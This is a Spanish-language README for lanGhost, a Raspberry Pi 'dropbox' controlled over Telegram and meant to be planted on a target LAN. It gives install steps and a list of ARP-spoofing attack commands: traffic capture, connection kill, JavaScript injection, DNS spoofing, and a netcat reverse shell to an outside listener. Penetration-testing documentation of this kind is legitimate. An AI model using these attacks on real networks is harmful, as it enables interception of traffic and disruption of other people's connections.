xdavidhu/langhost👻 Un chatbot de dropbox LAN controlable mediante Telegram
lanGhost está diseñado para Raspberry Pis (Raspbian/Kali para RPi). Ejecutarlo en otras distribuciones/de escritorio podría causar problemas y puede no funcionar como se espera.
Necesitarás una Raspberry Pi con Raspbian/Kali fresco en la tarjeta SD, porque no quieres que nada más se ejecute en segundo plano.
Enciende la Pi, obtén una shell SSH o conecta un monitor y un teclado e ingresa estos comandos:
$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https://github.com/xdavidhu/lanGhost
$ cd lanGhost
$ sudo ./setup.py
Por favor, lee las preguntas/mensajes mientras ejecutas el script de configuración.
[+] Por favor, ingresa el nombre de la interfaz de red conectada o que se conectará a la LAN objetivo. La interfaz cableada por defecto es 'eth0', y la interfaz inalámbrica por defecto es 'wlan0' en la mayoría de los sistemas, pero puedes verificarlo en un terminal diferente con el comando 'ifconfig'.
[+] Por favor, crea una clave API de Telegram enviando un mensaje a @BotFather en Telegram con el comando '/newbot'.
Después de esto, @BotFather te pedirá que elijas un nombre para tu bot. Puede ser cualquier cosa que quieras.
Por último, @BotFather te pedirá un nombre de usuario para tu bot. Debes elegir un nombre de usuario único que termine en 'bot'. Por ejemplo: xdavidbot. Anota este nombre de usuario, ya que más tarde tendrás que buscar esto para encontrar tu bot, en el que se ejecutará lanGhost.
Después de enviar tu nombre de usuario elegido a @BotFather, recibirás tu clave API.
[+] Ahora, para que lanGhost solo permita el acceso a ti, necesitas verificarte.
Envía el código de verificación de abajo AL BOT que acabas de crear. Simplemente busca el @username de tu bot (lo que enviaste a @BotFather) para encontrarlo.
[+] Verification code to send: ******
[+] ¿Quieres que lanGhost se inicie al arrancar? Esta opción es necesaria si estás usando este dispositivo como un dropbox, porque cuando vayas a colocar este dispositivo en una red, ¡no tendrás la oportunidad de iniciar lanGhost de forma remota! (el autoinicio funciona agregando una nueva entrada cron '@reboot')
Usar lanGhost en redes más grandes que /24 no se recomienda porque los escaneos tomarán demasiado tiempo.
lanGhost no es silencioso. Cualquiera que monitoree el tráfico puede ver los paquetes ARP.
Si has seleccionado yes en step 4/4 (autostart), la Pi está completamente configurada para ser colocada. lanGhost debería iniciarse al arrancar y enviarte un mensaje en Telegram con el texto: lanGhost started! 👻.
Asegúrate de probarlo primero en tu laboratorio y verificar si lanGhost responde a tus mensajes.
Si todo está listo, simplemente conéctalo a la red objetivo enchufando el cable Ethernet a la Pi y conectando la alimentación mediante micro USB, ¡y estarás listo!
(lanGhost también puede funcionar a través de WiFi, pero necesitarás configurar wpa_supplicant para conectarte a la red automáticamente primero)
/scan - Scan LAN network
/scanip [TARGET-IP] - Scan a specific IP address.
/kill [TARGET-IP] - Stop the target's network connection.
/mitm [TARGET-IP] - Capture HTTP/DNS traffic from target.
/replaceimg [TARGET-IP] - Replace HTTP images requested by target.
/injectjs [TARGET-IP] [JS-FILE-URL] - Inject JavaScript into HTTP pages requested by target.
/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] - Spoof DNS records for target.
/attacks - View currently running attacks.
/stop [ATTACK-ID] - Stop a currently running attack.
/restart - Restart lanGhost.
/reversesh [TARGET-IP] [PORT] - Create a netcat reverse shell to target.
/help - Display the help menu.
/ping - Pong.
Puedes iniciar un ataque usando uno de estos comandos: /kill, /mitm, /replaceimg, /injectjs, /spoofdns
Después de tener uno o más ataques en ejecución, puedes usar el comando /attack para obtener una lista que contiene los ATTACK-ID.
Para detener un ataque escribe /stop [ATTACK-ID].
/reversesh solo realiza una conexión TCP netcat que no está cifrada y todo el tráfico puede ser monitoreado. Úsalo solo para arreglos de emergencia o para configurar una conexión inversa cifrada si es necesario.
El comando /reversesh es para obtener una reverse shell en la Pi, cuando no es accesible desde el exterior.
Para usar el comando /reversesh necesitarás tener un servidor escuchando por la shell.
Comando netcat para iniciar el listener en tu servidor:
$ nc -l 0.0.0.0 [PORT]
Comando de Telegram:
/reversesh [IP-of-your-listening-server] [PORT]
/kill - Detiene la conectividad a Internet del objetivo./mitm - Captura el tráfico HTTP y DNS del objetivo y lo envía en mensajes de texto./replaceimg - Reemplaza las imágenes HTTP para el objetivo por la imagen que envíes al bot./injectjs - Inyecta JavaScript en cada respuesta HTTP HTML para el objetivo. Necesitas alojar el archivo JS en tu servidor y proporcionar la URL como parámetro./spoofdns - Suplanta respuestas DNS para el objetivo.¡Todos los ataques usan ARP Spoofing!
/scan - Escanea la red local y devuelve los hosts en línea. Utiliza el escaneo nmap -sn para descubrir hosts./scanip - Escanea una dirección IP en busca de puertos abiertos y otra información. Utiliza el escaneo nmap -sS.Recibirás un mensaje cada vez que un nuevo dispositivo se conecte/salga de la red.
Copyright (c) 2018 de David Schütz. Algunos derechos reservados.
lanGhost está bajo los términos de la Licencia MIT, siguiendo todas las aclaraciones establecidas en el archivo de licencia. También puedes enviarme un correo a xdavid{at}protonmail{dot}com.